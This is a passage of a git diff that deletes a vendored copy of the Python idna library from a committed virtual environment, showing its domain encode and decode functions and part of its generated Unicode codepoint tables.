_STATUS_DEVIATION: - continue - elif status == _STATUS_IGNORED: - replacement = None - else: - raise InvalidCodepoint( - f"Codepoint {_unot(code_point)} not allowed at position {pos + 1} in {domain!r}", - code="uts46_disallowed", - text=domain, - codepoint=code_point, - position=pos + 1, - ) - if start < pos: - run = domain[start:pos] - if std3_rules: - _check_std3(run, domain, start) - output.append(run) - if replacement: - if std3_rules and _std3_disallowed_re.search(replacement): - raise InvalidCodepoint( - f"Codepoint {_unot(code_point)} not allowed at position {pos + 1} in {domain!r}", - code="uts46_std3", - text=domain, - codepoint=code_point, - position=pos + 1, - ) - output.append(replacement) - start = pos + 1 - - if start == 0: - if std3_rules: - _check_std3(domain, domain, 0) - return unicodedata.normalize("NFC", domain) - tail = domain[start:] - if std3_rules: - _check_std3(tail, domain, start) - output.append(tail) - return unicodedata.normalize("NFC", "".join(output)) - - -def encode( - s: str | bytes | bytearray, - strict: bool = False, - uts46: bool = False, - std3_rules: bool = False, - transitional: bool = False, -) -> bytes: - """Encode a Unicode domain name into its ASCII (A-label) form. - - Splits the input on label separators (only ``U+002E`` if ``strict`` is - set; otherwise also IDEOGRAPHIC FULL STOP ``U+3002``, FULLWIDTH FULL - STOP ``U+FF0E``, and HALFWIDTH IDEOGRAPHIC FULL STOP ``U+FF61``), - encodes each label with :func:`alabel`, and rejoins them with ``.``. - Optionally pre-processes the input through :func:`uts46_remap`. - - :param s: The domain name to encode. - :param strict: If ``True``, only ``U+002E`` is recognised as a label - separator. - :param uts46: If ``True``, apply UTS #46 mapping before encoding. - :param std3_rules: Forwarded to :func:`uts46_remap` when ``uts46`` is - ``True``. - :param transitional: Deprecated and ignored (see :func:`uts46_remap`): - emits a :class:`DeprecationWarning` and will be removed in a - future version. - :returns: The encoded domain as ASCII :class:`bytes`. - :raises IDNAError: If the domain is empty, contains an invalid label, - or exceeds the maximum domain length. - """ - if transitional: - _warn_transitional() - if not isinstance(s, str): - try: - s = str(s, "ascii") - except (UnicodeDecodeError, TypeError) as err: - raise IDNAError( - "should pass a unicode string to the function rather than a byte string.", code="invalid_ascii" - ) from err - if len(s) > _max_input_length: - raise IDNAError("Domain too long", code="input_too_long") - if uts46: - s = uts46_remap(s, std3_rules) - - if not valid_string_length(s, trailing_dot=True): - raise IDNAError("Domain too long", code="domain_too_long") - - trailing_dot = False - result = [] - labels = s.split(".") if strict else _unicode_dots_re.split(s) - if not labels or labels == [""]: - raise IDNAError("Empty domain", code="empty_domain") - if labels[-1] == "": - del labels[-1] - trailing_dot = True - for label in labels: - s = alabel(label) - if s: - result.append(s) - else: - raise IDNAError("Empty label", code="empty_label") - if trailing_dot: - result.append(b"") - s = b".".join(result) - if not valid_string_length(s, trailing_dot): - raise IDNAError("Domain too long", code="domain_too_long") - return s - - -def decode( - s: str | bytes | bytearray, - strict: bool = False, - uts46: bool = False, - std3_rules: bool = False, - display: bool = False, -) -> str: - """Decode an A-label-encoded domain name back to Unicode. - - Splits the input on label separators (see :func:`encode` for the - rules), decodes each label with :func:`ulabel`, and rejoins them - with ``.``. Optionally pre-processes the input through - :func:`uts46_remap`. - - :param s: The domain name to decode. - :param strict: If ``True``, only ``U+002E`` is recognised as a label - separator. - :param uts46: If ``True``, apply UTS #46 mapping before decoding. - :param std3_rules: Forwarded to :func:`uts46_remap` when ``uts46`` is - ``True``. - :param display: If ``True``, any ``xn--`` label that fails IDNA - validation is passed through unchanged (lowercased) rather than - aborting the whole call. Intended for "decode for display" - consumers (e.g. URL libraries, HTTP clients) that want to show - the user the label as it appears on the wire when it cannot be - rendered as Unicode. Matches the per-label recovery prescribed - by UTS #46 §4 and the WHATWG URL "domain to Unicode" algorithm. - :returns: The decoded domain as a Unicode string. - :raises IDNAError: If the input is not valid ASCII, contains an - invalid label, or is empty. - """ - if not isinstance(s, str): - try: - s = str(s, "ascii") - except (UnicodeDecodeError, TypeError) as err: - raise IDNAError("Invalid ASCII in A-label", code="invalid_ascii") from err - if len(s) > _max_input_length: - raise IDNAError("Domain too long", code="input_too_long") - if uts46: - s = uts46_remap(s, std3_rules, False) - if not valid_string_length(s, trailing_dot=True): - raise IDNAError("Domain too long", code="domain_too_long") - trailing_dot = False - result = [] - labels = s.split(".") if strict else _unicode_dots_re.split(s) - if not labels or labels == [""]: - raise IDNAError("Empty domain", code="empty_domain") - if not labels[-1]: - del labels[-1] - trailing_dot = True - for label in labels: - try: - u = ulabel(label) - except IDNAError: - if display and label[:4].lower() == "xn--": - u = label.lower() - else: - raise - if u: - result.append(u) - else: - raise IDNAError("Empty label", code="empty_label") - if trailing_dot: - result.append("") - return ".".join(result) diff --git a/venv/Lib/site-packages/idna/idnadata.py b/venv/Lib/site-packages/idna/idnadata.py deleted file mode 100644 index f2ab38897bf1f8fc6f0db50f237edec68ca89295..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/idna/idnadata.py +++ /dev/null @@ -1,1897 +0,0 @@ -# This file is automatically generated by tools/idna-data - -__version__ = "17.0.0" - -scripts = { - "Greek": ( - 0x37000000374, - 0x37500000378, - 0x37A0000037E, - 0x37F00000380, - 0x38400000385, - 0x38600000387, - 0x3880000038B, - 0x38C0000038D, - 0x38E000003A2, - 0x3A3000003E2, - 0x3F000000400, - 0x1D2600001D2B, - 0x1D5D00001D62, - 0x1D6600001D6B, - 0x1DBF00001DC0, - 0x1F0000001F16, - 0x1F1800001F1E, - 0x1F2000001F46, - 0x1F4800001F4E, - 0x1F5000001F58, - 0x1F5900001F5A, - 0x1F5B00001F5C, - 0x1F5D00001F5E, - 0x1F5F00001F7E, - 0x1F8000001FB5, - 0x1FB600001FC5, - 0x1FC600001FD4, - 0x1FD600001FDC, - 0x1FDD00001FF0, - 0x1FF200001FF5, - 0x1FF600001FFF, - 0x212600002127, - 0xAB650000AB66, - 0x101400001018F, - 0x101A0000101A1, - 0x1D2000001D246, - ), - "Han": ( - 0x2E8000002E9A, - 0x2E9B00002EF4, - 0x2F0000002FD6, - 0x300500003006, - 0x300700003008, - 0x30210000302A, - 0x30380000303C, - 0x340000004DC0, - 0x4E000000A000, - 0xF9000000FA6E, - 0xFA700000FADA, - 0x16FE200016FE4, - 0x16FF000016FF7, - 0x200000002A6E0, - 0x2A7000002B81E, - 0x2B8200002CEAE, - 0x2CEB00002EBE1, - 0x2EBF00002EE5E, - 0x2F8000002FA1E, - 0x300000003134B, - 0x313500003347A, - ), - "Hebrew": ( - 0x591000005C8, - 0x5D0000005EB, - 0x5EF000005F5, - 0xFB1D0000FB37, - 0xFB380000FB3D, - 0xFB3E0000FB3F, - 0xFB400000FB42, - 0xFB430000FB45, - 0xFB460000FB50, - ), - "Hiragana": ( - 0x304100003097, - 0x309D000030A0, - 0x1B0010001B120, - 0x1B1320001B133, - 0x1B1500001B153, - 0x1F2000001F201, - ), - "Katakana": ( - 0x30A1000030FB, - 0x30FD00003100, - 0x31F000003200, - 0x32D0000032FF, - 0x330000003358, - 0xFF660000FF70, - 0xFF710000FF9E, - 0x1AFF00001AFF4, - 0x1AFF50001AFFC, - 0x1AFFD0001AFFF, - 0x1B0000001B001, - 0x1B1200001B123, - 0x1B1550001B156, - 0x1B1640001B168, - ), -} - - -joining_types = { - "C": ( - 0x64000000641, - 0x7FA000007FB, - 0x88300000886, - 0x180A0000180B, - 0x200D0000200E, - ), - "D": ( - 0x62000000621, - 0x62600000627, - 0x62800000629, - 0x62A0000062F, - 0x63300000640, - 0x64100000648, - 0x6490000064B, - 0x66E00000670, - 0x67800000688, - 0x69A000006C0, - 0x6C1000006C3, - 0x6CC000006CD, - 0x6CE000006CF, - 0x6D0000006D2, - 0x6FA000006FD, - 0x6FF00000700, - 0x71200000715, - 0x71A0000071E, - 0x71F00000728, - 0x7290000072A, - 0x72B0000072C, - 0x72D0000072F, - 0x74E00000759, - 0x75C0000076B, - 0x76D00000771, - 0x77200000773, - 0x77500000778, - 0x77A00000780, - 0x7CA000007EB, - 0x84100000846, - 0x84800000849, - 0x84A00000854, - 0x85500000856, - 0x86000000861, - 0x86200000866, - 0x86800000869, - 0x88600000887, - 0x8890000088E, - 0x88F00000890, - 0x8A0000008AA, - 0x8AF000008B1, - 0x8B3000008B9, - 0x8BA000008C9, - 0x180700001808, - 0x182000001879, - 0x1887000018A9, - 0x18AA000018AB, - 0xA8400000A872, - 0x10AC000010AC5, - 0x10AD300010AD7, - 0x10AD800010ADD, - 0x10ADE00010AE1, - 0x10AEB00010AEF, - 0x10B8000010B81, - 0x10B8200010B83, - 0x10B8600010B89, - 0x10B8A00010B8C, - 0x10B8D00010B8E, - 0x10B9000010B91, - 0x10BAD00010BAF, - 0x10D0100010D22, - 0x10D2300010D24, - 0x10EC300010EC5, - 0x10EC600010EC8, - 0x10F3000010F33, - 0x10F3400010F45, - 0x10F5100010F54, - 0x10F7000010F74, - 0x10F7600010F82, - 0x10FB000010FB1, - 0x10FB200010FB4, - 0x10FB800010FB9, - 0x10FBB00010FBD, - 0x10FBE00010FC0, - 0x10FC100010FC2, - 0x10FC400010FC5, - 0x10FCA00010FCB, - 0x1E9000001E944, - ), - "L": ( - 0xA8720000A873, - 0x10ACD00010ACE, - 0x10AD700010AD8, - 0x10D0000010D01, - 0x10FCB00010FCC, - ), - "R": ( - 0x62200000626, - 0x62700000628, - 0x6290000062A, - 0x62F00000633, - 0x64800000649, - 0x67100000674, - 0x67500000678, - 0x6880000069A, - 0x6C0000006C1, - 0x6C3000006CC, - 0x6CD000006CE, - 0x6CF000006D0, - 0x6D2000006D4, - 0x6D5000006D6, - 0x6EE000006F0, - 0x71000000711, - 0x7150000071A, - 0x71E0000071F, - 0x72800000729, - 0x72A0000072B, - 0x72C0000072D, - 0x72F00000730, - 0x74D0000074E, - 0x7590000075C, - 0x76B0000076D, - 0x77100000772, - 0x77300000775, - 0x7780000077A, - 0x84000000841, - 0x84600000848, - 0x8490000084A, - 0x85400000855, - 0x85600000859, - 0x86700000868, - 0x8690000086B, - 0x87000000883, - 0x88E0000088F, - 0x8AA000008AD, - 0x8AE000008AF, - 0x8B1000008B3, - 0x8B9000008BA, - 0x10AC500010AC6, - 0x10AC700010AC8, - 0x10AC900010ACB, - 0x10ACE00010AD3, - 0x10ADD00010ADE, - 0x10AE100010AE2, - 0x10AE400010AE5, - 0x10AEF00010AF0, - 0x10B8100010B82, - 0x10B8300010B86, - 0x10B8900010B8A, - 0x10B8C00010B8D, - 0x10B8E00010B90, - 0x10B9100010B92, - 0x10BA900010BAD, - 0x10D2200010D23, - 0x10EC200010EC3, - 0x10F3300010F34, - 0x10F5400010F55, - 0x10F7400010F76, - 0x10FB400010FB7, - 0x10FB900010FBB, - 0x10FBD00010FBE, - 0x10FC200010FC4, - 0x10FC900010FCA, - ), - "T": ( - 0xAD000000AE, - 0x30000000370, - 0x4830000048A, - 0x591000005BE, - 0x5BF000005C0, - 0x5C1000005C3, - 0x5C4000005C6, - 0x5C7000005C8, - 0x6100000061B, - 0x61C0000061D, - 0x64B00000660, - 0x67000000671, - 0x6D6000006DD, - 0x6DF000006E5, - 0x6E7000006E9, - 0x6EA000006EE, - 0x70F00000710, - 0x71100000712, - 0x7300000074B, - 0x7A6000007B1, - 0x7EB000007F4, - 0x7FD000007FE, - 0x8160000081A, - 0x81B00000824, - 0x82500000828, - 0x8290000082E, - 0x8590000085C, - 0x897000008A0, - 0x8CA000008E2, - 0x8E300000903, - 0x93A0000093B, - 0x93C0000093D, - 0x94100000949, - 0x94D0000094E, - 0x95100000958, - 0x96200000964, - 0x98100000982, - 0x9BC000009BD, - 0x9C1000009C5, - 0x9CD000009CE, - 0x9E2000009E4, - 0x9FE000009FF, - 0xA0100000A03, - 0xA3C00000A3D, - 0xA4100000A43, - 0xA4700000A49, - 0xA4B00000A4E, - 0xA5100000A52, - 0xA7000000A72, - 0xA7500000A76, - 0xA8100000A83, - 0xABC00000ABD, - 0xAC100000AC6, - 0xAC700000AC9, - 0xACD00000ACE, - 0xAE200000AE4, - 0xAFA00000B00, - 0xB0100000B02, - 0xB3C00000B3D, - 0xB3F00000B40, - 0xB4100000B45, - 0xB4D00000B4E, - 0xB5500000B57, - 0xB6200000B64, - 0xB8200000B83, - 0xBC000000BC1, - 0xBCD00000BCE, - 0xC0000000C01, - 0xC0400000C05, - 0xC3C00000C3D, - 0xC3E00000C41, - 0xC4600000C49, - 0xC4A00000C4E, - 0xC5500000C57, - 0xC6200000C64, - 0xC8100000C82, - 0xCBC00000CBD, - 0xCBF00000CC0, - 0xCC600000CC7, - 0xCCC00000CCE, - 0xCE200000CE4, - 0xD0000000D02, - 0xD3B00000D3D, - 0xD4100000D45, - 0xD4D00000D4E, - 0xD6200000D64, - 0xD8100000D82, - 0xDCA00000DCB, - 0xDD200000DD5, - 0xDD600000DD7, - 0xE3100000E32, - 0xE3400000E3B, - 0xE4700000E4F, - 0xEB100000EB2, - 0xEB400000EBD, - 0xEC800000ECF, - 0xF1800000F1A, - 0xF3500000F36, - 0xF3700000F38, - 0xF3900000F3A, - 0xF7100000F7F, - 0xF8000000F85, - 0xF8600000F88, - 0xF8D00000F98, - 0xF9900000FBD, - 0xFC600000FC7, - 0x102D00001031, - 0x103200001038, - 0x10390000103B, - 0x103D0000103F, - 0x10580000105A, - 0x105E00001061, - 0x107100001075, - 0x108200001083, - 0x108500001087, - 0x108D0000108E, - 0x109D0000109E, - 0x135D00001360, - 0x171200001715, - 0x173200001734, - 0x175200001754, - 0x177200001774, - 0x17B4000017B6, - 0x17B7000017BE, - 0x17C6000017C7, - 0x17C9000017D4, - 0x17DD000017DE, - 0x180B0000180E, - 0x180F00001810, - 0x188500001887, - 0x18A9000018AA, - 0x192000001923, - 0x192700001929, - 0x193200001933, - 0x19390000193C, - 0x1A1700001A19, - 0x1A1B00001A1C, - 0x1A5600001A57, - 0x1A5800001A5F, - 0x1A6000001A61, - 0x1A6200001A63, - 0x1A6500001A6D, - 0x1A7300001A7D, - 0x1A7F00001A80, - 0x1AB000001ADE, - 0x1AE000001AEC, - 0x1B0000001B04, - 0x1B3400001B35, - 0x1B3600001B3B, - 0x1B3C00001B3D, - 0x1B4200001B43, - 0x1B6B00001B74, - 0x1B8000001B82, - 0x1BA200001BA6, - 0x1BA800001BAA, - 0x1BAB00001BAE, - 0x1BE600001BE7, - 0x1BE800001BEA, - 0x1BED00001BEE, - 0x1BEF00001BF2, - 0x1C2C00001C34, - 0x1C3600001C38, - 0x1CD000001CD3, - 0x1CD400001CE1, - 0x1CE200001CE9, - 0x1CED00001CEE, - 0x1CF400001CF5, - 0x1CF800001CFA, - 0x1DC000001E00, - 0x200B0000200C, - 0x200E00002010, - 0x202A0000202F, - 0x206000002065, - 0x206A00002070, - 0x20D0000020F1, - 0x2CEF00002CF2, - 0x2D7F00002D80, - 0x2DE000002E00, - 0x302A0000302E, - 0x30990000309B, - 0xA66F0000A673, - 0xA6740000A67E, - 0xA69E0000A6A0, - 0xA6F00000A6F2, - 0xA8020000A803, - 0xA8060000A807, - 0xA80B0000A80C, - 0xA8250000A827, - 0xA82C0000A82D, - 0xA8C40000A8C6, - 0xA8E00000A8F2, - 0xA8FF0000A900, - 0xA9260000A92E, - 0xA9470000A952, - 0xA9800000A983, - 0xA9B30000A9B4, - 0xA9B60000A9BA, - 0xA9BC0000A9BE, - 0xA9E50000A9E6, - 0xAA290000AA2F, - 0xAA310000AA33, - 0xAA350000AA37, - 0xAA430000AA44, - 0xAA4C0000AA4D, - 0xAA7C0000AA7D, - 0xAAB00000AAB1, - 0xAAB20000AAB5, - 0xAAB70000AAB9, - 0xAABE0000AAC0, - 0xAAC10000AAC2, - 0xAAEC0000AAEE, - 0xAAF60000AAF7, - 0xABE50000ABE6, - 0xABE80000ABE9, - 0xABED0000ABEE, - 0xFB1E0000FB1F, - 0xFE000000FE10, - 0xFE200000FE30, - 0xFEFF0000FF00, - 0xFFF90000FFFC, - 0x101FD000101FE, - 0x102E0000102E1, - 0x103760001037B, - 0x10A0100010A04, - 0x10A0500010A07, - 0x10A0C00010A10, - 0x10A3800010A3B, - 0x10A3F00010A40, - 0x10AE500010AE7, - 0x10D2400010D28, - 0x10D6900010D6E, - 0x10EAB00010EAD, - 0x10EFA00010F00, - 0x10F4600010F51, - 0x10F8200010F86, - 0x1100100011002, - 0x1103800011047, - 0x1107000011071, - 0x1107300011075, - 0x1107F00011082, - 0x110B3000110B7, - 0x110B9000110BB, - 0x110C2000110C3, - 0x1110000011103, - 0x111270001112C, - 0x1112D00011135, - 0x1117300011174, - 0x1118000011182, - 0x111B6000111BF, - 0x111C9000111CD, - 0x111CF000111D0, - 0x1122F00011232, - 0x1123400011235, - 0x1123600011238, - 0x1123E0001123F, - 0x1124100011242, - 0x112DF000112E0, - 0x112E3000112EB, - 0x1130000011302, - 0x1133B0001133D, - 0x1134000011341, - 0x113660001136D, - 0x1137000011375, - 0x113BB000113C1, - 0x113CE000113CF, - 0x113D0000113D1, - 0x113D2000113D3, - 0x113E1000113E3, - 0x1143800011440, - 0x1144200011445, - 0x1144600011447, - 0x1145E0001145F, - 0x114B3000114B9, - 0x114BA000114BB, - 0x114BF000114C1, - 0x114C2000114C4, - 0x115B2000115B6, - 0x115BC000115BE, - 0x115BF000115C1, - 0x115DC000115DE, - 0x116330001163B, - 0x1163D0001163E, - 0x1163F00011641, - 0x116AB000116AC, - 0x116AD000116AE, - 0x116B0000116B6, - 0x116B7000116B8, - 0x1171D0001171E, - 0x1171F00011720, - 0x1172200011726, - 0x117270001172C, - 0x1182F00011838, - 0x118390001183B, - 0x1193B0001193D, - 0x1193E0001193F, - 0x1194300011944, - 0x119D4000119D8, - 0x119DA000119DC, - 0x119E0000119E1, - 0x11A0100011A0B, - 0x11A3300011A39, - 0x11A3B00011A3F, - 0x11A4700011A48, - 0x11A5100011A57, - 0x11A5900011A5C, - 0x11A8A00011A97, - 0x11A9800011A9A, - 0x11B6000011B61, - 0x11B6200011B65, - 0x11B6600011B67, - 0x11C3000011C37, - 0x11C3800011C3E, - 0x11C3F00011C40, - 0x11C9200011CA8, - 0x11CAA00011CB1, - 0x11CB200011CB4, - 0x11CB500011CB7, - 0x11D3100011D37, - 0x11D3A00011D3B, - 0x11D3C00011D3E, - 0x11D3F00011D46, - 0x11D4700011D48, - 0x11D9000011D92, - 0x11D9500011D96, - 0x11D9700011D98, - 0x11EF300011EF5, - 0x11F0000011F02, - 0x11F3600011F3B, - 0x11F4000011F41, - 0x11F4200011F43, - 0x11F5A00011F5B, - 0x1343000013441, - 0x1344700013456, - 0x1611E0001612A, - 0x1612D00016130, - 0x16AF000016AF5, - 0x16B3000016B37, - 0x16F4F00016F50, - 0x16F8F00016F93, - 0x16FE400016FE5, - 0x1BC9D0001BC9F, - 0x1BCA00001BCA4, - 0x1CF000001CF2E, - 0x1CF300001CF47, - 0x1D1670001D16A, - 0x1D1730001D183, - 0x1D1850001D18C, - 0x1D1AA0001D1AE, - 0x1D2420001D245, - 0x1DA000001DA37, - 0x1DA3B0001DA6D, - 0x1DA750001DA76, - 0x1DA840001DA85, - 0x1DA9B0001DAA0, - 0x1DAA10001DAB0, - 0x1E0000001E007, - 0x1E0080001E019, - 0x1E01B0001E022, - 0x1E0230001E025, - 0x1E0260001E02B, - 0x1E08F0001E090, - 0x1E1300001E137, - 0x1E2AE0001E2AF, - 0x1E2EC0001E2F0, - 0x1E4EC0001E4F0, - 0x1E5EE0001E5F0, - 0x1E6E30001E6E4, - 0x1E6E60001E6E7, - 0x1E6EE0001E6F0, - 0x1E6F50001E6F6, - 0x1E8D00001E8D7, - 0x1E9440001E94C, - 0xE0001000E0002, - 0xE0020000E0080, - 0xE0100000E01F0, - ), -} - - -codepoint_classes = { - "PVALID": ( - 0x2D0000002E, - 0x300000003A, - 0x610000007B, - 0xDF000000F7, - 0xF800000100, - 0x10100000102, - 0x10300000104, - 0x10500000106, - 0x10700000108, - 0x1090000010A, - 0x10B0000010C, - 0x10D0000010E, - 0x10F00000110, - 0x11100000112, - 0x11300000114, - 0x11500000116, - 0x11700000118, - 0x1190000011A, - 0x11B0000011C, - 0x11D0000011E, - 0x11F00000120, - 0x12100000122, - 0x12300000124, - 0x12500000126, - 0x12700000128, - 0x1290000012A, - 0x12B0000012C, - 0x12D0000012E, - 0x12F00000130, - 0x13100000132, - 0x13500000136, - 0x13700000139, - 0x13A0000013B, - 0x13C0000013D, - 0x13E0000013F, - 0x14200000143, - 0x14400000145, - 0x14600000147, - 0x14800000149, - 0x14B0000014C, - 0x14D0000014E, - 0x14F00000150, - 0x15100000152, - 0x15300000154, - 0x15500000156, - 0x15700000158, - 0x1590000015A, - 0x15B0000015C, - 0x15D0000015E, - 0x15F00000160, - 0x16100000162, - 0x16300000164, - 0x16500000166, - 0x16700000168, - 0x1690000016A, - 0x16B0000016C, - 0x16D0000016E, - 0x16F00000170, - 0x17100000172, - 0x17300000174, - 0x17500000176, - 0x17700000178, - 0x17A0000017B, - 0x17C0000017D, - 0x17E0000017F, - 0x18000000181, - 0x18300000184, - 0x18500000186, - 0x18800000189, - 0x18C0000018E, - 0x19200000193, - 0x19500000196, - 0x1990000019C, - 0x19E0000019F, - 0x1A1000001A2, - 0x1A3000001A4, - 0x1A5000001A6, - 0x1A8000001A9, - 0x1AA000001AC, - 0x1AD000001AE, - 0x1B0000001B1, - 0x1B4000001B5, - 0x1B6000001B7, - 0x1B9000001BC, - 0x1BD000001C4, - 0x1CE000001CF, - 0x1D0000001D1, - 0x1D2000001D3, - 0x1D4000001D5, - 0x1D6000001D7, - 0x1D8000001D9, - 0x1DA000001DB, - 0x1DC000001DE, - 0x1DF000001E0, - 0x1E1000001E2, - 0x1E3000001E4, - 0x1E5000001E6, - 0x1E7000001E8, - 0x1E9000001EA, - 0x1EB000001EC, - 0x1ED000001EE, - 0x1EF000001F1, - 0x1F5000001F6, - 0x1F9000001FA, - 0x1FB000001FC, - 0x1FD000001FE, - 0x1FF00000200, - 0x20100000202, - 0x20300000204, - 0x20500000206, - 0x20700000208, - 0x2090000020A, - 0x20B0000020C, - 0x20D0000020E, - 0x20F00000210, - 0x21100000212, - 0x21300000214, - 0x21500000216, - 0x21700000218, - 0x2190000021A, - 0x21B0000021C, - 0x21D0000021E, - 0x21F00000220, - 0x22100000222, - 0x22300000224, - 0x22500000226, - 0x22700000228, - 0x2290000022A, - 0x22B0000022C, - 0x22D0000022E, - 0x22F00000230, - 0x23100000232, - 0x2330000023A, - 0x23C0000023D, - 0x23F00000241, - 0x24200000243, - 0x24700000248, - 0x2490000024A, - 0x24B0000024C, - 0x24D0000024E, - 0x24F000002B0, - 0x2B9000002C2, - 0x2C6000002D2, - 0x2EC000002ED, - 0x2EE000002EF, - 0x30000000340, - 0x34200000343, - 0x3460000034F, - 0x35000000370, - 0x37100000372, - 0x37300000374, - 0x37700000378, - 0x37B0000037E, - 0x39000000391, - 0x3AC000003CF, - 0x3D7000003D8, - 0x3D9000003DA, - 0x3DB000003DC, - 0x3DD000003DE, - 0x3DF000003E0, - 0x3E1000003E2, - 0x3E3000003E4, - 0x3E5000003E6, - 0x3E7000003E8, - 0x3E9000003EA, - 0x3EB000003EC, - 0x3ED000003EE, - 0x3EF000003F0, - 0x3F3000003F4, - 0x3F8000003F9, - 0x3FB000003FD, - 0x43000000460, - 0x46100000462, - 0x46300000464, - 0x46500000466, - 0x46700000468, - 0x4690000046A, - 0x46B0000046C, - 0x46D0000046E, - 0x46F00000470, - 0x47100000472, - 0x47300000474, - 0x47500000476, - 0x47700000478, - 0x4790000047A, - 0x47B0000047C, - 0x47D0000047E, - 0x47F00000480, - 0x48100000482, - 0x48300000488, - 0x48B0000048C, - 0x48D0000048E, - 0x48F00000490, - 0x49100000492, - 0x49300000494, - 0x49500000496, - 0x49700000498, - 0x4990000049A, - 0x49B0000049C, - 0x49D0000049E, - 0x49F000004A0, - 0x4A1000004A2, - 0x4A3000004A4, - 0x4A5000004A6, - 0x4A7000004A8, - 0x4A9000004AA, - 0x4AB000004AC, - 0x4AD000004AE, - 0x4AF000004B0, - 0x4B1000004B2, - 0x4B3000004B4, - 0x4B5000004B6, - 0x4B7000004B8, - 0x4B9000004BA, - 0x4BB000004BC, - 0x4BD000004BE, - 0x4BF000004C0, - 0x4C2000004C3, - 0x4C4000004C5, - 0x4C6000004C7, - 0x4C8000004C9, - 0x4CA000004CB, - 0x4CC000004CD, - 0x4CE000004D0, - 0x4D1000004D2, - 0x4D3000004D4, - 0x4D5000004D6, - 0x4D7000004D8, - 0x4D9000004DA, - 0x4DB000004DC, - 0x4DD000004DE, - 0x4DF000004E0, - 0x4E1000004E2, - 0x4E3000004E4, - 0x4E5000004E6, - 0x4E7000004E8, - 0x4E9000004EA, - 0x4EB000004EC, - 0x4ED000004EE, - 0x4EF000004F0, - 0x4F1000004F2, - 0x4F3000004F4, - 0x4F5000004F6, - 0x4F7000004F8, - 0x4F9000004FA, - 0x4FB000004FC, - 0x4FD000004FE, - 0x4FF00000500, - 0x50100000502, - 0x50300000504, - 0x50500000506, - 0x50700000508, - 0x5090000050A, - 0x50B0000050C, - 0x50D0000050E, - 0x50F00000510, - 0x51100000512, - 0x51300000514, - 0x51500000516, - 0x51700000518, - 0x5190000051A, - 0x51B0000051C, - 0x51D0000051E, - 0x51F00000520, - 0x52100000522, - 0x52300000524, - 0x52500000526, - 0x52700000528, - 0x5290000052A, - 0x52B0000052C, - 0x52D0000052E, - 0x52F00000530, - 0x5590000055A, - 0x56000000587, - 0x58800000589, - 0x591000005BE, - 0x5BF000005C0, - 0x5C1000005C3, - 0x5C4000005C6, - 0x5C7000005C8, - 0x5D0000005EB, - 0x5EF000005F3, - 0x6100000061B, - 0x62000000640, - 0x64100000660, - 0x66E00000675, - 0x679000006D4, - 0x6D5000006DD, - 0x6DF000006E9, - 0x6EA000006F0, - 0x6FA00000700, - 0x7100000074B, - 0x74D000007B2, - 0x7C0000007F6, - 0x7FD000007FE, - 0x8000000082E, - 0x8400000085C, - 0x8600000086B, - 0x87000000888, - 0x88900000890, - 0x897000008E2, - 0x8E300000958, - 0x96000000964, - 0x96600000970, - 0x97100000984, - 0x9850000098D, - 0x98F00000991, - 0x993000009A9, - 0x9AA000009B1, - 0x9B2000009B3, - 0x9B6000009BA, - 0x9BC000009C5, - 0x9C7000009C9, - 0x9CB000009CF, - 0x9D7000009D8, - 0x9E0000009E4, - 0x9E6000009F2, - 0x9FC000009FD, - 0x9FE000009FF, - 0xA0100000A04, - 0xA0500000A0B, - 0xA0F00000A11, - 0xA1300000A29, - 0xA2A00000A31, - 0xA3200000A33, - 0xA3500000A36, - 0xA3800000A3A, - 0xA3C00000A3D, - 0xA3E00000A43, - 0xA4700000A49, - 0xA4B00000A4E, - 0xA5100000A52, - 0xA5C00000A5D, - 0xA6600000A76, - 0xA8100000A84, - 0xA8500000A8E, - 0xA8F00000A92, - 0xA9300000AA9, - 0xAAA00000AB1, - 0xAB200000AB4, - 0xAB500000ABA, - 0xABC00000AC6, - 0xAC700000ACA, - 0xACB00000ACE, - 0xAD000000AD1, - 0xAE000000AE4, - 0xAE600000AF0, - 0xAF900000B00, - 0xB0100000B04, - 0xB0500000B0D, - 0xB0F00000B11, - 0xB1300000B29, - 0xB2A00000B31, - 0xB3200000B34, - 0xB3500000B3A, - 0xB3C00000B45, - 0xB4700000B49, - 0xB4B00000B4E, - 0xB5500000B58, - 0xB5F00000B64, - 0xB6600000B70, - 0xB7100000B72, - 0xB8200000B84, - 0xB8500000B8B, - 0xB8E00000B91, - 0xB9200000B96, - 0xB9900000B9B, - 0xB9C00000B9D, - 0xB9E00000BA0, - 0xBA300000BA5, - 0xBA800000BAB, - 0xBAE00000BBA, - 0xBBE00000BC3, - 0xBC600000BC9, - 0xBCA00000BCE, - 0xBD000000BD1, - 0xBD700000BD8, - 0xBE600000BF0, - 0xC0000000C0D, - 0xC0E00000C11, - 0xC1200000C29, - 0xC2A00000C3A, - 0xC3C00000C45, - 0xC4600000C49, - 0xC4A00000C4E, - 0xC5500000C57, - 0xC5800000C5B, - 0xC5C00000C5E, - 0xC6000000C64, - 0xC6600000C70, - 0xC8000000C84, - 0xC8500000C8D, - 0xC8E00000C91, - 0xC9200000CA9, - 0xCAA00000CB4, - 0xCB500000CBA, - 0xCBC00000CC5, - 0xCC600000CC9, - 0xCCA00000CCE, - 0xCD500000CD7, - 0xCDC00000CDF, - 0xCE000000CE4, - 0xCE600000CF0, - 0xCF100000CF4, - 0xD0000000D0D, - 0xD0E00000D11, - 0xD1200000D45, - 0xD4600000D49, - 0xD4A00000D4F, - 0xD5400000D58, - 0xD5F00000D64, - 0xD6600000D70, - 0xD7A00000D80, - 0xD8100000D84, - 0xD8500000D97, - 0xD9A00000DB2, - 0xDB300000DBC, - 0xDBD00000DBE, - 0xDC000000DC7, - 0xDCA00000DCB, - 0xDCF00000DD5, - 0xDD600000DD7, - 0xDD800000DE0, - 0xDE600000DF0, - 0xDF200000DF4, - 0xE0100000E33, - 0xE3400000E3B, - 0xE4000000E4F, - 0xE5000000E5A, - 0xE8100000E83, - 0xE8400000E85, - 0xE8600000E8B, - 0xE8C00000EA4, - 0xEA500000EA6, - 0xEA700000EB3, - 0xEB400000EBE, - 0xEC000000EC5, - 0xEC600000EC7, - 0xEC800000ECF, - 0xED000000EDA, - 0xEDE00000EE0, - 0xF0000000F01, - 0xF0B00000F0C, - 0xF1800000F1A, - 0xF2000000F2A, - 0xF3500000F36, - 0xF3700000F38, - 0xF3900000F3A, - 0xF3E00000F43, - 0xF4400000F48, - 0xF4900000F4D, - 0xF4E00000F52, - 0xF5300000F57, - 0xF5800000F5C, - 0xF5D00000F69, - 0xF6A00000F6D, - 0xF7100000F73, - 0xF7400000F75, - 0xF7A00000F81, - 0xF8200000F85, - 0xF8600000F93, - 